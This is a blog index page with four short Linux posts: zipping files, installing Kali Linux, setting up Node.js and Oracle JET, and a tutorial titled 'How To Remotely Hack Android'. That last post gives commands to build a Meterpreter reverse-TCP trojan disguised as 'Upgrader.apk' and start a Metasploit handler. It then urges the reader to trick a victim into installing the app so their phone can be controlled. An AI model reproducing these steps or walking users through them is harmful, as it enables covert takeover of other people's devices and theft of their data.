Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

Saturday, December 23, 2017

How to Zipping and Unzipping Files under Linux

How to Zipping and Unzipping Files under Linux


Linux has both zip and unzip program. By default, these utilities are not installed. You can install zip/unzip tools from the shell prompt. Open the Terminal by clicking on Application > System Tools > Terminal. You must be a root user, Type the following two commands to install zip and unzip program on Debian or Ubuntu Linux:

# apt-get install zip

# apt-get install unzip


  • zip is a compression and file packaging utility for Linux and Unix (including FreeBSD, Solaris etc).
  • unzip will list, test, or extract files from a ZIP archive files.

ziping files/directories examples

Creates the archive data.zip and puts all the files in the current directory in it in compressed form, type:
$ zip data *
Note: No need to add .zip extension or suffix as it is added automatically by zip command.
Use the ls command to verify new zip file:
$ ls


visit link download
Read more »

Sunday, December 17, 2017

How to install Kali Linux Hard Disk

How to install Kali Linux Hard Disk



Kali Linux Installation Requirements

Installing Kali Linux on your computer is an easy process. First, you�ll need compatible computer hardware. Kali is supported on i386, amd64, and ARM (both armel and armhf) platforms. The hardware requirements are minimal as listed below, although better hardware will naturally provide better performance. The i386 images have a default PAE kernel, so you can run them on systems with over 4GB of RAM. Download Kali Linux and either burn the ISO to DVD, or prepare a USB stick with Kali Linux Live as the installation medium. If you do not have a DVD drive or USB port on your computer, check out the Kali Linux Network Install.

Installation Prerequisites
  • A minimum of 8 GB disk space for the Kali Linux install.
  • For i386 and amd64 architectures, a minimum of 512MB RAM.
  • CD-DVD Drive / USB boot support
  • Preparing for the Installation

Download Kali linux.
  • Burn The Kali Linux ISO to DVD or Image Kali Linux Live to USB.
  • Ensure that your computer is set to boot from CD / USB in your BIOS.

Kali Linux Installation Procedure

  1. To start your installation, boot with your chosen installation medium. You should be greeted with the Kali Boot screen. Choose either Graphical or Text-Mode install. In this example, we chose a GUI install. 

    Kali Install
  2. Select your preferred language and then your country location. You�ll also be prompted to configure your keyboard with the appropriate keymap. 

    localechooser_languagelist_0
  3. The installer will copy the image to your hard disk, probe your network interfaces, and then prompt you to enter a hostname for your system. In the example below, we�ve entered �kali� as our hostname. 

    netcfg_get_hostname_0
  4. Enter a robust password for the root account. 

    kali-linux-install-02
  5. Next, set your time zone.

    time_zone_0
  6. The installer will now probe your disks and offer you four choices. In our example, we�re using the entire disk on our computer and not configuring LVM (logical volume manager). Experienced users can use the �Manual� partitioning method for more granular configuration options.

    partman-auto_init_automatically_partition_0
  7. Next, you�ll have one last chance to review your disk configuration before the installer makes irreversible changes. After you click Continue, the installer will go to work and you�ll have an almost finished installation.

    kali-linux-install-03
  8. Configure network mirrors. Kali uses a central repository to distribute applications. You�ll need to enter any appropriate proxy information as needed. 

    NOTE! If you select �NO� in this screen, you will NOT be able to install packages from Kali repositories.
    kali-linux-install-04
  9. Next, install GRUB. 

    kali-linux-install-05
  10. Finally, click Continue to reboot into your new Kali installation.

    finish-install_reboot_in_progress_0

Post Installation

Now that you�ve completed installing Kali Linux, it�s time to customize your system. The Kali General Use section of our site has more information and you can also find tips on how to get the most out of Kali in our User Forums.

Source: http://docs.kali.org/installation/kali-linux-hard-disk-install


visit link download
Read more »

Friday, December 8, 2017

How to Setup Node js and Oracle JET on Oracle Linux

How to Setup Node js and Oracle JET on Oracle Linux


What if you want to develop Oracle JET in Oracle Linux? Certainly this is possible - both Node.js and Oracle JET run on Oracle Linux or any other Linux distribution. If you follow Oracle JET Setup Guide, you will see Node.js is listed as prerequisite. But it may not be exactly straightforward to install Node.js on Oracle Linux. Below I will guide you through the steps.

Run command to install development tools to build native add-ons to be installed:

yum install -y gcc-c++ make


Enable Node.js yum repository:

curl -sL https://rpm.nodesource.com/setup_8.x | sudo -E bash -


Install Node.js:

sudo yum install nodejs


Verify if node and npm was installed successfully:


Next you can follow steps described in Oracle JET setup guide, all straightforward. Install Oracle JET:

sudo npm -g install @oracle/ojet-cli


Create new JET application with OJET utility:

sudo ojet create jetwinapp --template=navdrawer


Run application with OJET utility:

sudo ojet serve


JET application runs on Oracle Linux:



visit link download
Read more »

Thursday, December 7, 2017

How To Remotely Hack Android using Kali Linux

How To Remotely Hack Android using Kali Linux


In this tutorial youll learn how to hack an Android device using Metasploit running on Kali Linux. Lets hack some!

Well be creating a little APK file and pushing it over to the victim. When victim installs & eventually opens the file, well be able to control his/her device using Zetasploit commands. Easy, peasy!

This is an advanced tutorial, advanced skillz needed!

Step 1 - Launch Kali and make an APK of the trojan virus youll be sending over to a victim.
You can do so by typing the following command:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk

 - Replace LHOST with your own IP adresss.
 - This is meant for LAN pushing, if youre about to hack through WAN (through the net), youll hav eto use external IP with port forwarding.




Step 2 - Open up another console and load Metasploit console, type msfconsole




Step 3 - After the Metasploit console loads, load the multi-handler by typing use exploit/multi/handler command.



Step 4 - Set up payload by typing set payload android/meterpreter/reverse_tcp to the console.
To set up the host, type: set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)



Step 5 - Exploit. Type exploit to start listener. Copy the upgrader.apk and upload it somewhere. Be creative and let the victim install your virus app on their phone. (The victim must have "unknown sources" checked in case to install apps not from Google Play).


After the victim opens up your app, you can use Meterpreter commands to control the victims phone. Easy, cheezy.



See Meterpreter commands here:
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics


Source







visit link download
Read more »